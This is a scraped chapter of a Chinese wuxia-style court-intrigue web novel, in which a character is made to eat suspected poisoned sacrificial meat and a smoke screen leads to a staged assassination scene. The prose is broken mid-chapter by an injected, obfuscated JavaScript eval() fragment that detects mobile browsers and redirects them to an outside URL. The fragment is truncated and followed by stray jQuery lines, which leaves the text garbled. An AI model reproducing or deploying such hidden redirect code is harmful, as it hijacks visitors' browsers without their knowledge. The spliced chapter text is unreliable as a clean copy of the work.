默认冷灰
24号文字
方正启体

26. 有毒?我吃一口

作者:东岱_本书字数:K更新时间:
    沈绣淡淡地道:“太后念礼部人少事繁,特拨我来协理祭器。潘大人说是不是?”


    “不假。”潘勖在他身边点头道,“圣人也思及此,故派我来帮助沈大人。”


    说是互相帮助,实则是互相监视。这一点穆辞川也明白。


    他看见沈绣招了招手,那马车后的二三十个随从便都走上前来。他们每个人的手里都抱着一摞金丝软毯,提着一只楠木食盒。


    他们在寰丘下分列开,把毯子并排铺在地上,又打开食盒,盒子里装着许多清酒与蒸肉。他们在每张毯子上都摆了一盏酒、一块肉。


    “那是什么?”穆辞川问。


    “祭酒、胙肉。”潘勖解释道,“虽本应祭天后再给诸位大臣分切食用,但如今参祭的臣子众多,酒肉都是提前备好的。”


    穆辞川又问:“每人的都一样?”


    “酒虽一样,肉却不同。给王侯公卿的要选好肉,再细细挑去断骨。给普通的小官则切些边角碎肉即可,因此才要每人分摆——穆大侠怎么想起问这个?”


    穆辞川没有回答,他忽然想到,沈绣既然掌管分摆胙肉,必定手握座次名单,岂非是想给谁的肉里下毒,就能给谁下毒?


    这难道就是崔疑所说的唯一的机会?


    崔疑也已摇车上前,双眼在坛下的坐席间扫了扫,伸手指向其中一只毯子,道:“那一个是潘大人的位子,还是沈大人的?”


    “是我的。”潘勖回头看了一眼,道,“崔小公子怎么知道?”


    “听说祭祀胙肉吃起来味同嚼蜡,难以入喉。我这么看过去,唯那一块毯上的肉色润脂肥。”崔疑笑道,“想来是沈大人特意安排。”


    “哦?”潘勖那只青碧色的坏眼瞟了瞟沈绣,“那小官可要感谢沈侍郎。”


    他是天子近侍,沈绣如要毒杀帝党,他首当其冲。


    沈绣的脸色变得不太自然,盯着崔疑道:“这虽是我私心,但也算不得什么见不得人的手段吧。”


    “当然不算,属下失言。”崔疑连连摆起手来,“就是肚子恰好有些饿了,看见酒肉,忍不住多说几句。”


    沈绣似乎有些怒极反笑,他又伸手召来一个仆从,冷冷地吩咐道:“胙肉还有剩余,再取两份来给崔小公子充饥。”


    “等一等。”仆从刚要折身取肉,又被潘勖拦下,他道,“那些肉干巴巴的,怎么能用来请人?还是把我的那一份换给小公子吧。”


    沈绣的目光立刻刀一样刺在潘勖脸上,嘴角有些轻微的颤:“潘大人莫非不领我的情。”


    “告罪告罪。”潘勖笑着拱手道,“并非不领情,只是小官实在胆子小,万一这肉被圣人看出了端倪……”


    沈绣盯着他看了一会儿,忽然长叹一口气,无奈道:“依潘大人的吧。”


    那块莹润的蒸肉很快就被端到崔疑面前。他双手接过碟子,笑道:“多谢多谢。我这就离开,不给两位大人添乱了。”


    他调转轮椅要走,椅背却忽然被送肉的仆从捏在了手里。


    那名仆从一手抓着轮椅,另一只手也已平举,袖口里有星星点点的反光——他的衣管里,竟然藏着一只袖弩。


    其余的二三十个仆从忽然也都定住,也都举起胳膊,每个人的胳膊上,也都套着一只袖弩。


    崔疑的笑容有些僵在了脸上。穆辞川也怔住。


    “子慎。”他听见沈绣慢慢地说,“既然饿了,就先吃吧。”


    月光惨白,雪地也惨白。一只漆黑的鸦从松稍上冲天飞出,发出一声厉响。


    穆辞川这才怔怔地说:“他也没有那么饿……”


    沈绣忽地一笑,道:“你们难道不敢吃?你们怕这块肉有毒?”


    穆辞川当然相信这块肉已有剧毒。沈绣本就很想让崔疑死。


    他又看向潘勖。潘勖竟也没有发话。


    他是不是也已猜到肉中有毒?他岂非也不太希望崔疑活着?崔疑已经知道了他太多秘密,更何况如今只有毒死了人,才能抓住沈绣的把柄。


    穆辞川忽然指着地面上叫:“啊呀!你是不是掉了东西!”


    崔疑扭头看向他手指处,两个人脑袋就挤在一起。


    穆辞川压着嗓子道:“你真打算吃?”


    “事已至此,不吃也不行了。”崔疑也低声道,“拿出来。”


    “拿什么?”


    “你的药。”


    穆辞川就掏出一只大风丸,又用剑锋削成适宜入口的薄片,递给他,忍不住道:“这是药丸,不是仙丹。”


    “能吊一口气就够了。”崔疑接过药片,含在舌下,转身面向沈绣,冷笑道,“盛情难却,属下不敢客气。”


    说完,他将手中的胙肉一口吞下了肚子。


    风很静。没有人说话。


    他们都在等。等人死。


    崔疑好像真的快要死了,他面色铁青,鼻尖挂着冷汗。可他忽然又发出了一声轻轻的笑,好像个还魂的鬼。


    他笑着说:“多谢沈大人款待,味道的确很好。”


    “多谢多谢。别客气别客气。”潘勖眼见没毒死人,上前打起了圆场,“既然吃饱了,天气又冷,两位大侠快早回家吧——沈大人,我们也快回去迎驾吧,走吧走吧。”


    沈绣不再纠缠,折身跟着潘勖走了。车马随他们一同撤去,只有几片雪花落在崔疑的睫毛上。


    穆辞川低头看着那人睫上的雪花,说:“你有没有事。”


    崔疑哑声道:“没有。”


    “那块肉里没有毒?”


    “没有。”


    穆辞川这才长长地呼出一口气,道:“那就好。”


    崔疑却道:“不好。”


    “为什么不好。”


    “因为除了胙肉,我再想不到第二处可做手脚的地方。”崔疑的眉紧紧地拧着,“我也想不通沈绣为何不把我们赶走。除此之外,还有一件事,想必你也有所察觉——”


    穆辞川道:“是关于祝掌门?”


    “是的。”崔疑道,“他是怎么找到这里来的?”


    祝轻尘从未接触过宫里的人,本不应知道他们在寰丘筹备祭祀。可他还是带着樊姬来了。


    穆辞川声音微微颤抖:“你是说,他已经投靠了沈绣。”


    “这一点根本不必怀疑。我不戳穿他,也不过是想看看他要做些什么。”崔疑道,“倒是另一人的反应,更让我意想不到。”


    穆辞川道:“是谁?”


    “卫子湛。”


    “他又怎么了?”


    “穆辞川,”崔疑看着他,“你曾与他相处,在你看来,他是个怎样的人。”</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16609371|187599||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    穆辞川想了想,道:“他做事很细致,面圣之前先带我们洗了澡。我脸不好看,他还找了手帕给我盖头。”


    崔疑听完道:“这样的人,本不应该轻易相信祝轻尘的。”


    可他却相信了,没有过问他的来历,便准许他替代了江南雀。这是件怪事。


    今夜的怪事实在不少。


    穆辞川不知道这些事的答案,可他知道待寒衣节祭祀结束后,这些问题都将真相大白。


    所以他们只有等。三个人都躲在松树后,三双眼睛都透过松叶,盯着那座月亮般的祭坛。


    祭坛边陆续来了参祭的臣子,卯时刚过,他们已都分站在那些毯子边上,然后就有一驾朱红的大轿子在众人的簇拥下缓缓驶来,轿窗里探出一丛碧绿的莲叶。


    “那就是圣人的轿子!”穆辞川指着那驾红轿,低声说,“他身边总有那样的莲花。”


    祝轻尘道:“他怎么不下轿。”


    崔疑道:“看起来他比我们想的更怕死。”


    红轿车停在寰丘中央。一个身穿冕服的太监走上前来,替代天子主持典礼,唱诵祭文。或许那是潘勖,但那里的人都穿着同样的冕服,穆辞川看不清。


    祭典流程一项一项地进行下去,酒肉也都入了参祭者的肚腹,并无任何异常。直到天色破晓,太监下令“焚衣敬祖”,便有四名“燎人”奉令将几件冬衣投入寰丘四角的燎炉中。


    四只燎炉里,立刻腾起四股浓白的烟。


    天静无风,浓烟就地扩散,遮天蔽月。寰丘间随即响起嘈杂的人声。穆辞川登时攥剑在手,道:“难道是毒烟。”


    “若是毒烟,他们自己也要中招。”崔疑的神色也变了,“烟不过用来障眼,刺客早已在天子身边!”


    一语未落,穆辞川的人已从松林中窜出,刺入那团苍白的烟。


    白烟太浓,穆辞川立刻什么也看不见了。但他还记得寰丘的方位,也知道慌乱之间,天子的轿撵并不会移动得太远。他的剑已出鞘。


    一片硕大的莲叶,忽然出现在他的面前。他知道身前就是皇帝车架,于是竖起耳朵一听,果然听见莲叶后传来一阵可疑的窸窣声。


    他一剑刺出。也刺中。


    本来人声鼎沸的寰丘,忽然变得异常寂静。


    烟忽然散了。


    穆辞川看到自己就站在那驾朱红的轿子前,“不愿寒”剑已刺穿轿身,剑尖上正挑着一朵鲜红的莲花。


    轿子里只有花,没有人。


    没有皇帝,也没有刺客。只有穆辞川持剑站在轿旁。


    他是不是已成了别人眼中的刺客?


    “咳、咳……”一串轻轻的咳嗽声,从祭坛下传来。沈绣握着一柄团扇,拂去面前的余烟,慢慢地登上寰丘。


    他走到坛心,先是环顾了一遍四只燎炉,然后轻声道:“今日的祭衣是谁准备的……咳咳……烧起来这么大的烟。”


    “下官太常寺司牲官,负责采买祭品……”一个中年的官员跪在祭坛下,颤声说。


    沈绣没有看他,挥了挥扇子,吩咐道:“带去刑部审问。”


    然后他的目光才落在天子轿撵上,好像是刚看见穆辞川一般,惊叹道:“好在陛下没有亲自出席,不至于熏坏了龙体……诶呀,你是谁?怎么拿着把剑站在这?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)